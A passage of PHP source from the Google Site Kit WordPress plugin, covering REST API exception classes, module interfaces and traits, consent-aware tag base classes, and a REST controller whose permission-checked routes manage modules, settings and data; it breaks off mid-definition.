https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\REST_API\Exception; use Google\Site_Kit\Core\Contracts\WP_Errorable; use Exception; use WP_Error; /** * Exception thrown when a request to an invalid datapoint is made. * * @since 1.9.0 * @access private * @ignore */ class Invalid_Datapoint_Exception extends Exception implements WP_Errorable { const WP_ERROR_CODE = 'invalid_datapoint'; /** * Gets the WP_Error representation of this exception. * * @since 1.9.0 * * @return WP_Error */ public function to_wp_error() { return new WP_Error( static::WP_ERROR_CODE, __( 'Invalid datapoint.', 'google-site-kit' ), array( 'status' => 400, // Bad request. ) ); } } <?php /** * Class Invalid_Param_Exception * * @package Google\Site_Kit\Core\REST_API\Exception * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\REST_API\Exception; use Exception; use Google\Site_Kit\Core\Contracts\WP_Errorable; use WP_Error; /** * Class for representing an invalid parameter. * * @since 1.124.0 * @access private * @ignore */ class Invalid_Param_Exception extends Exception implements WP_Errorable { /** * Status code. * * @var int */ protected $status; /** * Constructor. * * @since 1.124.0 * * @param string $parameter_name Invalid request parameter name. * @param int $code Optional. HTTP Status code of resulting error. Defaults to 400. */ public function __construct( $parameter_name, $code = 400 ) { $this->status = (int) $code; parent::__construct( /* translators: %s: Invalid parameter */ sprintf( __( 'Invalid parameter: %s.', 'google-site-kit' ), $parameter_name ) ); } /** * Gets the WP_Error representation of this exception. * * @since 1.124.0 * * @return WP_Error */ public function to_wp_error() { return new WP_Error( 'rest_invalid_param', $this->getMessage(), array( 'status' => $this->status ) ); } } <?php /** * Class Missing_Required_Param_Exception * * @package Google\Site_Kit\Core\REST_API\Exception * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\REST_API\Exception; use Exception; use Google\Site_Kit\Core\Contracts\WP_Errorable; use WP_Error; /** * Class for representing a missing required parameter. * * @since 1.98.0 * @access private * @ignore */ class Missing_Required_Param_Exception extends Exception implements WP_Errorable { /** * Status code. * * @var int */ protected $status; /** * Constructor. * * @since 1.98.0 * * @param string $parameter_name Missing request parameter name. * @param int $code Optional. HTTP Status code of resulting error. Defaults to 400. */ public function __construct( $parameter_name, $code = 400 ) { $this->status = (int) $code; parent::__construct( /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), $parameter_name ) ); } /** * Gets the WP_Error representation of this exception. * * @since 1.98.0 * * @return WP_Error */ public function to_wp_error() { return new WP_Error( 'missing_required_param', $this->getMessage(), array( 'status' => $this->status ) ); } } <?php /** * Interface Google\Site_Kit\Core\Modules\Module_With_Scopes * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Interface for a module that requires Google OAuth scopes. * * @since 1.0.0 * @access private * @ignore */ interface Module_With_Scopes { /** * Gets required Google OAuth scopes for the module. * * @since 1.0.0 * * @return array List of Google OAuth scopes. */ public function get_scopes(); } <?php /** * Trait Google\Site_Kit\Core\Modules\Module_With_Assets_Trait * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use Google\Site_Kit\Core\Assets\Asset; /** * Trait for a module that includes assets. * * @since 1.7.0 * @access private * @ignore */ trait Module_With_Assets_Trait { /** * List of the module's Asset objects to register. * * @since 1.7.0 * @var array */ protected $registerable_assets; /** * Gets the assets to register for the module. * * @since 1.7.0 * * @return Asset[] List of Asset objects. */ public function get_assets() { if ( null === $this->registerable_assets ) { $this->registerable_assets = $this->setup_assets(); } return $this->registerable_assets; } /** * Enqueues all assets necessary for the module. * * This default implementation simply enqueues all assets that the module * has registered. * * @since 1.7.0 * @since 1.37.0 Added the $asset_context argument; only enqueue assets in the correct context. * * @param string $asset_context The page context to load this asset, see `Asset::CONTEXT_*` constants. */ public function enqueue_assets( $asset_context = Asset::CONTEXT_ADMIN_SITEKIT ) { $assets = $this->get_assets(); array_walk( $assets, function ( Asset $asset, $index, $asset_context ) { if ( $asset->has_context( $asset_context ) ) { $asset->enqueue(); } }, $asset_context ); } /** * Sets up the module's assets to register. * * @since 1.7.0 * * @return Asset[] List of Asset objects. */ abstract protected function setup_assets(); } <?php /** * Interface Google\Site_Kit\Core\Modules\Module_With_Persistent_Registration * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Interface for a module that requires persistent registration. * * @since 1.38.0 * @access private * @ignore */ interface Module_With_Persistent_Registration { /** * The registration method that is called even if the module is not activated. * * @since 1.38.0 */ public function register_persistent(); } <?php /** * Trait Google\Site_Kit\Core\Modules\Module_With_Tag * * @package Google\Site_Kit\Core\Modules * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; interface Module_With_Tag { /** * Registers the tag. * * @since 1.119.0 */ public function register_tag(); /** * Returns the Module_Tag_Matchers instance. * * @since 1.119.0 * * @return Module_Tag_Matchers Module_Tag_Matchers instance. */ public function get_tag_matchers(); } <?php /** * Interface Google\Site_Kit\Core\Modules\Module_With_Service_Entity * * @package Google\Site_Kit * @copyright 2022 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use WP_Error; /** * Interface for a module that includes a service entity. * * @since 1.70.0 * @access private * @ignore */ interface Module_With_Service_Entity { /** * Checks if the current user has access to the current configured service entity. * * @since 1.70.0 * * @return boolean|WP_Error */ public function check_service_entity_access(); } <?php /** * Interface Google\Site_Kit\Core\Modules\Module_With_Settings * * @package Google\Site_Kit\Core\Modules * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; interface Module_With_Settings { /** * Gets the module's Setting instance. * * @since 1.2.0 * * @return Module_Settings The Setting instance for the current module. */ public function get_settings(); } <?php /** * Interface Google\Site_Kit\Core\Modules\Module_With_Owner * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Interface for a module that includes an owner. * * @since 1.16.0 * @access private * @ignore */ interface Module_With_Owner { /** * Gets an owner ID for the module. * * @since 1.16.0 * * @return int Owner ID. */ public function get_owner_id(); } <?php /** * Trait Google\Site_Kit\Core\Modules\Module_With_Scopes_Trait * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Trait for a module that requires Google OAuth scopes. * * @since 1.0.0 * @access private * @ignore */ trait Module_With_Scopes_Trait { /** * Registers the hook to add required scopes. * * @since 1.0.0 */ private function register_scopes_hook() { add_filter( 'googlesitekit_auth_scopes', function ( array $scopes ) { return array_merge( $scopes, $this->get_scopes() ); } ); } } <?php /** * Interface Google\Site_Kit\Core\Modules\Module_With_Assets * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use Google\Site_Kit\Core\Assets\Asset; /** * Interface for a module that includes assets. * * @since 1.7.0 * @access private * @ignore */ interface Module_With_Assets { /** * Gets the assets to register for the module. * * @since 1.7.0 * * @return Asset[] List of Asset objects. */ public function get_assets(); /** * Enqueues all assets necessary for the module. * * @since 1.7.0 * @since 1.37.0 Added the $asset_context argument. * * @param string $asset_context Context for page, see `Asset::CONTEXT_*` constants. */ public function enqueue_assets( $asset_context = Asset::CONTEXT_ADMIN_SITEKIT ); } <?php /** * Class Google\Site_Kit\Core\Modules\Tags\Module_Web_Tag * * @package Google\Site_Kit\Core\Modules\Tags * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules\Tags; use Google\Site_Kit\Core\Tags\Blockable_Tag_Interface; /** * Base class for Web tag. * * @since 1.24.0 * @access private * @ignore */ abstract class Module_Web_Tag extends Module_Tag implements Blockable_Tag_Interface { /** * Checks whether or not the tag should be blocked from rendering. * * @since 1.24.0 * * @return bool TRUE if the tag should be blocked, otherwise FALSE. */ public function is_tag_blocked() { /** * Filters whether or not the tag should be blocked from rendering. * * @since 1.24.0 * * @param bool $blocked Whether or not the tag output is suppressed. Default: false. */ return (bool) apply_filters( "googlesitekit_{$this->module_slug}_tag_blocked", false ); } /** * Gets the HTML attributes for a script tag that may potentially require user consent before loading. * * @since 1.24.0 * * @return string HTML attributes to add if the tag requires consent to load, or an empty string. */ public function get_tag_blocked_on_consent_attribute() { if ( $this->is_tag_blocked_on_consent() ) { return ' type="text/plain" data-block-on-consent'; } return ''; } /** * Gets the array of HTML attributes for a script tag that may potentially require user consent before loading. * * @since 1.41.0 * * @return array containing HTML attributes to add if the tag requires consent to load, or an empty array. */ public function get_tag_blocked_on_consent_attribute_array() { if ( $this->is_tag_blocked_on_consent() ) { return array( 'type' => 'text/plain', 'data-block-on-consent' => true, ); } return array(); } /** * Check if the tag is set to be manually blocked for consent. * * @since 1.122.0 * * @return bool */ protected function is_tag_blocked_on_consent() { $deprecated_args = (array) $this->get_tag_blocked_on_consent_deprecated_args(); /** * Filters whether the tag requires user consent before loading. * * @since 1.24.0 * * @param bool $blocked Whether or not the tag requires user consent to load. Default: false. */ if ( $deprecated_args ) { return (bool) apply_filters_deprecated( "googlesitekit_{$this->module_slug}_tag_block_on_consent", array( false ), ...$deprecated_args ); } return (bool) apply_filters( "googlesitekit_{$this->module_slug}_tag_block_on_consent", false ); } /** * Get contextual arguments for apply_filters_deprecated if block_on_consent is deprecated. * * @since 1.122.0 * * @return array */ protected function get_tag_blocked_on_consent_deprecated_args() { return array(); } /** * Fires the "googlesitekit_{module_slug}_init_tag" action to let 3rd party plugins to perform required setup. * * @since 1.24.0 */ protected function do_init_tag_action() { /** * Fires when the tag has been initialized which means that the tag will be rendered in the current request. * * @since 1.24.0 * * @param string $tag_id Tag ID. */ do_action( "googlesitekit_{$this->module_slug}_init_tag", $this->tag_id ); } } <?php /** * Class Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers * * @package Google\Site_Kit\Core\Modules\Tags * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules\Tags; use Google\Site_Kit\Core\Tags\Tag_Matchers_Interface; /** * Base class for Tag matchers. * * @since 1.119.0 * @access private * @ignore */ abstract class Module_Tag_Matchers implements Tag_Matchers_Interface { const NO_TAG_FOUND = 0; const TAG_EXISTS = 1; const TAG_EXISTS_WITH_COMMENTS = 2; /** * Holds array of regex tag matchers. * * @since 1.119.0 * * @return array Array of regex matchers. */ abstract public function regex_matchers(); } <?php /** * Class Google\Site_Kit\Core\Modules\Tags\Module_Tag_Guard * * @package Google\Site_Kit\Core\Tags * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules\Tags; use Google\Site_Kit\Core\Guards\Guard_Interface; use Google\Site_Kit\Core\Modules\Module_Settings; use WP_Error; /** * Base class for a module tag guard. * * @since 1.24.0 * @access private * @ignore */ abstract class Module_Tag_Guard implements Guard_Interface { /** * Module settings. * * @since 1.24.0 * @var Module_Settings */ protected $settings; /** * Constructor. * * @since 1.24.0 * * @param Module_Settings $settings Module settings. */ public function __construct( Module_Settings $settings ) { $this->settings = $settings; } /** * Determines whether the guarded tag can be activated or not. * * @since 1.24.0 * * @return bool|WP_Error TRUE if guarded tag can be activated, otherwise FALSE or an error. */ abstract public function can_activate(); } <?php /** * Class Google\Site_Kit\Core\Modules\Tags\Module_Tag * * @package Google\Site_Kit\Core\Tags * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules\Tags; use Google\Site_Kit\Core\Tags\Tag; /** * Base class for a module tag. * * @since 1.24.0 * @access private * @ignore */ abstract class Module_Tag extends Tag { /** * Module slug. * * @since 1.24.0 * @since 1.109.0 Renamed from slug to module_slug. * * @var string */ protected $module_slug; /** * Constructor. * * @since 1.24.0 * * @param string $tag_id Tag ID. * @param string $module_slug Module slug. */ public function __construct( $tag_id, $module_slug ) { parent::__construct( $tag_id ); $this->module_slug = $module_slug; } /** * Outputs the tag. * * @since 1.24.0 */ abstract protected function render(); } <?php /** * Class Google\Site_Kit\Core\Modules\Tags\Module_AMP_Tag * * @package Google\Site_Kit\Core\Tags * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules\Tags; use Google\Site_Kit\Core\Tags\Blockable_Tag_Interface; /** * Base class for AMP tag. * * @since 1.24.0 * @access private * @ignore */ abstract class Module_AMP_Tag extends Module_Tag implements Blockable_Tag_Interface { /** * Checks whether or not the tag should be blocked from rendering. * * @since 1.24.0 * * @return bool TRUE if the tag should be blocked, otherwise FALSE. */ public function is_tag_blocked() { /** * Filters whether or not the AMP tag should be blocked from rendering. * * @since 1.24.0 * * @param bool $blocked Whether or not the tag output is suppressed. Default: false. */ return (bool) apply_filters( "googlesitekit_{$this->module_slug}_tag_amp_blocked", false ); } /** * Gets the HTML attributes for a script tag that may potentially require user consent before loading. * * @since 1.24.0 * * @return string HTML attributes to add if the tag requires consent to load, or an empty string. */ public function get_tag_blocked_on_consent_attribute() { // @see https://amp.dev/documentation/components/amp-consent/#advanced-predefined-consent-blocking-behaviors $allowed_amp_block_on_consent_values = array( '_till_responded', '_till_accepted', '_auto_reject', ); /** * Filters whether the tag requires user consent before loading. * * @since 1.24.0 * * @param bool|string $blocked Whether or not the tag requires user consent to load. Alternatively, this can also be one of * the special string values '_till_responded', '_till_accepted', or '_auto_reject'. Default: false. */ $block_on_consent = apply_filters( "googlesitekit_{$this->module_slug}_tag_amp_block_on_consent", false ); if ( in_array( $block_on_consent, $allowed_amp_block_on_consent_values, true ) ) { return sprintf( ' data-block-on-consent="%s"', $block_on_consent ); } if ( filter_var( $block_on_consent, FILTER_VALIDATE_BOOLEAN ) ) { return ' data-block-on-consent'; } return ''; } /** * Enqueues a component script for AMP Reader. * * @since 1.24.0 * * @param string $handle Script handle. * @param string $src Script source URL. * @return callable Hook function. */ protected function enqueue_amp_reader_component_script( $handle, $src ) { $component_script_hook = function ( $data ) use ( $handle, $src ) { if ( ! isset( $data['amp_component_scripts'] ) || ! is_array( $data['amp_component_scripts'] ) ) { $data['amp_component_scripts'] = array(); } if ( ! isset( $data['amp_component_scripts'][ $handle ] ) ) { $data['amp_component_scripts'][ $handle ] = $src; } return $data; }; add_filter( 'amp_post_template_data', $component_script_hook ); return $component_script_hook; } /** * Fires the "googlesitekit_{module_slug}_init_tag_amp" action to let 3rd party plugins to perform required setup. * * @since 1.24.0 */ protected function do_init_tag_action() { /** * Fires when the tag has been initialized which means that the tag will be rendered in the current request. * * @since 1.24.0 * * @param string $tag_id Tag ID. */ do_action( "googlesitekit_{$this->module_slug}_init_tag_amp", $this->tag_id ); } } <?php /** * Class Google\Site_Kit\Core\Modules\REST_Modules_Controller * * @package Google\Site_Kit\Core\Modules * @copyright 2022 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ // phpcs:disable Generic.Metrics.CyclomaticComplexity.MaxExceeded namespace Google\Site_Kit\Core\Modules; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\REST_API\REST_Routes; use Google\Site_Kit\Core\REST_API\REST_Route; use Google\Site_Kit\Core\REST_API\Exception\Invalid_Datapoint_Exception; use Google\Site_Kit\Core\Storage\Setting_With_ViewOnly_Keys_Interface; use WP_REST_Server; use WP_REST_Request; use WP_REST_Response; use WP_Error; use Exception; /** * Class for handling modules rest routes. * * @since 1.92.0 * @access private * @ignore */ class REST_Modules_Controller { const REST_ROUTE_CHECK_ACCESS = 'core/modules/data/check-access'; /** * Modules instance. * * @since 1.92.0 * @var Modules */ protected $modules; /** * Constructor. * * @since 1.92.0 * * @param Modules $modules Modules instance. */ public function __construct( Modules $modules ) { $this->modules = $modules; } /** * Registers functionality through WordPress hooks. * * @since 1.92.0 */ public function register() { add_filter( 'googlesitekit_rest_routes', function ( $routes ) { return array_merge( $routes, $this->get_rest_routes() ); } ); add_filter( 'googlesitekit_apifetch_preload_paths', function ( $paths ) { $modules_routes = array( '/' . REST_Routes::REST_ROOT . '/core/modules/data/list', ); $settings_routes = array_map( function ( Module $module ) { if ( $module instanceof Module_With_Settings ) { return '/' . REST_Routes::REST_ROOT . "/modules/{$module->slug}/data/settings"; } return null; }, $this->modules->get_active_modules() ); return array_merge( $paths, $modules_routes, array_filter( $settings_routes ) ); } ); } /** * Gets the REST schema for a module. * * @since 1.92.0 * * @return array Module REST schema. */ private function get_module_schema() { return array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'module', 'type' => 'object', 'properties' => array( 'slug' => array( 'type' => 'string', 'description' => __( 'Identifier for the module.', 'google-site-kit' ), 'readonly' => true, ), 'name' => array( 'type' => 'string', 'description' => __( 'Name of the module.', 'google-site-kit' ), 'readonly' => true, ), 'description' => array( 'type' => 'string', 'description' => __( 'Description of the module.', 'google-site-kit' ), 'readonly' => true, ), 'homepage' => array( 'type' => 'string', 'description' => __( 'The module homepage.', 'google-site-kit' ), 'format' => 'uri', 'readonly' => true, ), 'internal' => array( 'type' => 'boolean', 'description' => __( 'Whether the module is internal, thus without any UI.', 'google-site-kit' ), 'readonly' => true, ), 'active' => array( 'type' => 'boolean', 'description' => __( 'Whether the module is active.', 'google-site-kit' ), ), 'connected' => array( 'type' => 'boolean', 'description' => __( 'Whether the module setup has been completed.', 'google-site-kit' ), 'readonly' => true, ), 'dependencies' => array( 'type' => 'array', 'description' => __( 'List of slugs of other modules that the module depends on.', 'google-site-kit' ), 'items' => array( 'type' => 'string', ), 'readonly' => true, ), 'dependants' => array( 'type' => 'array', 'description' => __( 'List of slugs of other modules depending on the module.', 'google-site-kit' ), 'items' => array( 'type' => 'string', ), 'readonly' => true, ), 'shareable' => array( 'type' => 'boolean', 'description' => __( 'Whether the module is shareable.', 'google-site-kit' ), ), 'recoverable' => array( 'type' => 'boolean', 'description' => __( 'Whether the module is recoverable.', 'google-site-kit' ), ), 'owner' => array( 'type' => 'object', 'properties' => array( 'id' => array( 'type' => 'integer', 'description' => __( 'Owner ID.', 'google-site-kit' ), 'readonly' => true, ), 'login' => array( 'type' => 'string', 'description' => __( 'Owner login.', 'google-site-kit' ), 'readonly' => true, ), ), ), ), ); } /** * Gets related REST routes. * * @since 1.92.0 * * @return array List of REST_Route objects. */ private function get_rest_routes() { $can_setup = function () { return current_user_can( Permissions::SETUP ); }; $can_authenticate = function () { return current_user_can( Permissions::AUTHENTICATE ); }; $can_list_data = function () { return current_user_can( Permissions::VIEW_SPLASH ) || current_user_can( Permissions::VIEW_DASHBOARD ); }; $can_view_insights = function () { // This accounts for routes that need to be called before user has completed setup flow. if ( current_user_can( Permissions::SETUP ) ) { return true; } return current_user_can( Permissions::VIEW_POSTS_INSIGHTS ); }; $can_manage_options = function () { // This accounts for routes that need to be called before user has completed setup flow. if ( current_user_can( Permissions::SETUP ) ) { return true; } return current_user_can( Permissions::MANAGE_OPTIONS ); }; $get_module_schema = function () { return $this->get_module_schema(); }; return array( new REST_Route( 'core/modules/data/list', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function () { $modules = array_map( array( $this, 'prepare_module_data_for_response' ), $this->modules->get_available_modules() ); return new WP_REST_Response( array_values( $modules ) ); }, 'permission_callback' => $can_list_data, ), ), array( 'schema' => $get_module_schema, ) ), new REST_Route( 'core/modules/data/activation', array( array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => function ( WP_REST_Request $request ) { $data = $request['data']; $slug = isset( $data['slug'] ) ? $data['slug'] : ''; try { $this->modules->get_module( $slug ); } catch ( Exception $e ) { return new WP_Error( 'invalid_module_slug', $e->getMessage() ); } $modules = $this->modules->get_available_modules(); if ( ! empty( $data['active'] ) ) { // Prevent activation if one of the dependencies is not active. $dependency_slugs = $this->modules->get_module_dependencies( $slug ); foreach ( $dependency_slugs as $dependency_slug ) { if ( ! $this->modules->is_module_active( $dependency_slug ) ) { /* translators: %s: module name */ return new WP_Error( 'inactive_dependencies', sprintf( __( 'Module cannot be activated because of inactive dependency %s.', 'google-site-kit' ), $modules[ $dependency_slug ]->name ), array( 'status' => 500 ) ); } } if ( ! $this->modules->activate_module( $slug ) ) { return new WP_Error( 'cannot_activate_module', __( 'An internal error occurred while trying to activate the module.', 'google-site-kit' ), array( 'status' => 500 ) ); } } else { // Automatically deactivate dependants. $dependant_slugs = $this->modules->get_module_dependants( $slug ); foreach ( $dependant_slugs as $dependant_slug ) { if ( $this->modules->is_module_active( $dependant_slug ) ) { if ( ! $this->modules->deactivate_module( $dependant_slug ) ) { /* translators: %s: module name */ return new WP_Error( 'cannot_deactivate_dependant', sprintf( __( 'Module cannot be deactivated because deactivation of dependant %s failed.', 'google-site-kit' ), $modules[ $dependant_slug ]->name ), array( 'status' => 500 ) ); } } } if ( ! $this->modules->deactivate_module( $slug ) ) { return new WP_Error( 'cannot_deactivate_module', __( 'An internal error occurred while trying to deactivate the module.', 'google-site-kit' ), array( 'status' => 500 ) ); } } return new WP_REST_Response( array( 'success' => true ) ); }, 'permission_callback' => $can_manage_options, 'args' => array( 'data' => array( 'type' => 'object', 'required' => true, ), ), ), ), array( 'schema' => $get_module_schema, ) ), new REST_Route( 'core/modules/data/info', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function ( WP_REST_Request $request ) { try { $module = $this->modules->get_module( $request['slug'] ); } catch ( Exception $e ) { return new WP_Error( 'invalid_module_slug', $e->getMessage() ); } return new WP_REST_Response( $this->prepare_module_data_for_response( $module ) ); }, 'permission_callback' => $can_authenticate, 'args' => array( 'slug' => array( 'type' => 'string', 'description' => __( 'Identifier for the module.', 'google-site-kit' ), 'sanitize_callback' => 'sanitize_key', ), ), ), ), array( 'schema' => $get_module_schema, ) ), new REST_Route( self::REST_ROUTE_CHECK_ACCESS, array( array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => function ( WP_REST_Request $request ) { $data = $request['data']; $slug = isset( $data['slug'] ) ? $data['slug'] : ''; try { $module = $this->modules->get_module( $slug ); } catch ( Exception $e ) { return new WP_Error( 'invalid_module_slug', __( 'Invalid module slug.', 'google-site-kit' ), array( 'status' => 404 ) ); } if ( ! $module->is_connected() ) { return new WP_Error( 'module_not_connected', __( 'Module is not connected.', 'google-site-kit' ), array( 'status' => 500 ) ); } if ( ! $module instanceof Module_With_Service_Entity ) { if ( $module->is_shareable() ) { return new WP_REST_Response( array( 'access' => true, ) ); } return new WP_Error( 'invalid_module', __( 'Module access cannot be checked.', 'google-site-kit' ), array( 'status' => 500 ) ); } $access = $module->check_service_entity_access(); if ( is_wp_error( $access ) ) { return $access; } return new WP_REST_Response( array( 'access' => $access, ) ); }, 'permission_callback' => $can_setup, 'args' => array( 'slug' => array( 'type' => 'string', 'description' => __( 'Identifier for the module.', 'google-site-kit' ), 'sanitize_callback' => 'sanitize_key', ), ), ), ) ), new REST_Route( 'modules/(?P<slug>[a-z0-9\-]+)/data/notifications', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function ( WP_REST_Request $request ) { $slug = $request['slug']; $modules = $this->modules->get_available_modules(); if ( ! isset( $modules[ $slug ] ) ) { return new WP_Error( 'invalid_module_slug', __( 'Invalid module slug.', 'google-site-kit' ), array( 'status' => 404 ) ); } $notifications = array(); if ( $this->modules->is_module_active( $slug ) ) { $notifications = $modules[ $slug ]->get_data( 'notifications' ); if ( is_wp_error( $notifications ) ) { // Don't consider it an error if the module does not have a 'notifications' datapoint. if ( Invalid_Datapoint_Exception::WP_ERROR_CODE === $notifications->get_error_code() ) { $notifications = array(); } return $notifications; } } return new WP_REST_Response( $notifications ); }, 'permission_callback' => $can_authenticate, ), ), array( 'args' => array( 'slug' => array( 'type' => 'string', 'description' => __( 'Identifier for the module.', 'google-site-kit' ), 'sanitize_callback' => 'sanitize_key', ), ), ) ), new REST_Route( 'modules/(?P<slug>[a-z0-9\-]+)/data/settings', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function ( WP_REST_Request $request ) use ( $can_manage_options ) { $slug = $request['slug']; try { $module = $this->modules->get_module( $slug ); } catch ( Exception $e ) { return new WP_Error( 'invalid_module_slug', __( 'Invalid module slug.', 'google-site-kit' ), array( 'status' => 404 ) ); } if ( ! $module instanceof Module_With_Settings ) { return new WP_Error( 'invalid_module_slug', __( 'Module does not support settings.', 'google-site-kit' ), array( 'status' => 400 ) ); } $settings = $module->get_settings(); if ( $can_manage_options() ) { return new WP_REST_Response( $settings->get() ); } if ( $settings instanceof Setting_With_ViewOnly_Keys_Interface ) { $view_only_settings = array_intersect_key( $settings->get(), array_flip( $settings->get_view_only_keys() ) ); return new WP_REST_Response( $view_only_settings ); } return new WP_Error( 'no_view_only_settings' ); }, 'permission_callback' => $can_list_data, ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => function ( WP_REST_Request $request ) { $slug = $request['slug']; try { $module = $this->modules->get_module( $slug ); } catch ( Exception $e ) { return new WP_Error( 'invalid_module_slug', __( 'Invalid module slug.', 'google-site-kit' ), array( 'status' => 404 ) ); } if ( ! $module instanceof Module_With_Settings ) { return new WP_Error( 'invalid_module_slug', __( 'Module does not support settings.', 'google-site-kit' ), array( 'status' => 400 ) ); } do_action( 'googlesitekit_pre_save_settings_' . $slug ); $module->get_settings()->merge( (array) $request['data'] ); do_action( 'googlesitekit_save_settings_' . $slug ); return new WP_REST_Response( $module->get_settings()->get() ); }, 'permission_callback' => $can_manage_options, 'args' => array( 'data' => array( 'type' => 'object', 'description' => __( 'Settings to set.', 'google-site-kit' ), 'validate_callback' => function ( $value ) { return is_array( $value ); }, ), ), ), ), array( 'args' => array( 'slug' => array( 'type' => 'string', 'description' => __( 'Identifier for the module.', 'google-site-kit' ), 'sanitize_callback' => 'sanitize_key', ), ), ) ), new REST_Route( 'modules/(?P<slug>[a-z0-9\-]+)/data/data-available', array( array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => function ( WP_REST_Request $request ) { $slug = $request['slug']; try { $module = $this->modules->get_module( $slug ); } catch ( Exception $e ) { return new WP_Error( 'invalid_module_slug', __( 'Invalid module slug.', 'google-site-kit' ), array( 'status' => 404 ) ); } if ( ! $this->modules->is_module_connected( $slug ) ) { return new WP_Error( 'module_not_connected', __( 'Module is not connected.', 'google-site-kit' ), array( 'status' => 500 ) ); } if ( ! $module instanceof Module_With_Data_Available_State ) { return new WP_Error( 'invalid_module_slug', __( 'Module does not support setting data available state.', 'google-site-kit' ), array( 'status' => 500 ) ); } return new WP_REST_Response( $module->set_data_available() ); }, 'permission_callback' => $can_list_data, ), ), array( 'args' => array( 'slug' => array( 'type' => 'string', 'description' => __( 'Identifier for the module.', 'google-site-kit' ), 'sanitize_callback' => 'sanitize_key', ), ), ) ), new REST_Route( 'modules/(?P<slug>[a-z0-9\-]+)/data/(?P<datapoint>[a-z\-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function ( WP_REST_Request $request ) { $slug = $request['slug']; try { $module = $this->modules->get_module( $slug ); } catch ( Exception $e ) { return new WP_Error( 'invalid_module_slug', __( 'Invalid module slug.', 'google-site-kit' ), array( 'status' => 404 ) ); } if ( ! $this->modules->is_module_active( $slug ) ) { return new WP_Error( 'module_not_active', __( 'Module must be active to request data.', 'google-site-kit' ), array( 'status' => 403 ) ); } $data = $module->get_data( $request['datapoint'], $request->get_params() ); if ( is_wp_error( $data ) ) { return $data; } return new WP_REST_Response( $data ); }, 'permission_callback' => $can_view_insights, ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => function ( WP_REST_Request $request ) { $slug = $request['slug']; try { $module = $this->modules->get_module( $slug ); } catch ( Exception $e ) { return new WP_Error( 'invalid_module_slug', __( 'Invalid module slug.', 'google-site-kit' ), array( 'status' => 404 ) ); } if ( ! $this->modules->is_module_active( $slug ) ) { return new WP_Error( 'module_not_active', __( 'Module must be active to request data.', 'google-site-kit' ), array( 'status' => 403 ) ); } $data = isset( $request['data'] ) ? (array) $request['data'] : array(); $data = $module->set_data( $request['datapoint'], $data ); if ( is_wp_error( $data ) ) { return $data; } return new WP_REST_Response( $data ); }, 'permission_callback' => $can_manage_options, 'args' => array( 'data' => array( 'type' => 'object', 'description' => __( 'Data to set.', 'google-site-kit' ), 'validate_callback' => function ( $value ) { return is_array( $value ); }, ), ), ), ), array( 'args' => array( 'slug' => array( 'type' => 'string', 'description' => __( 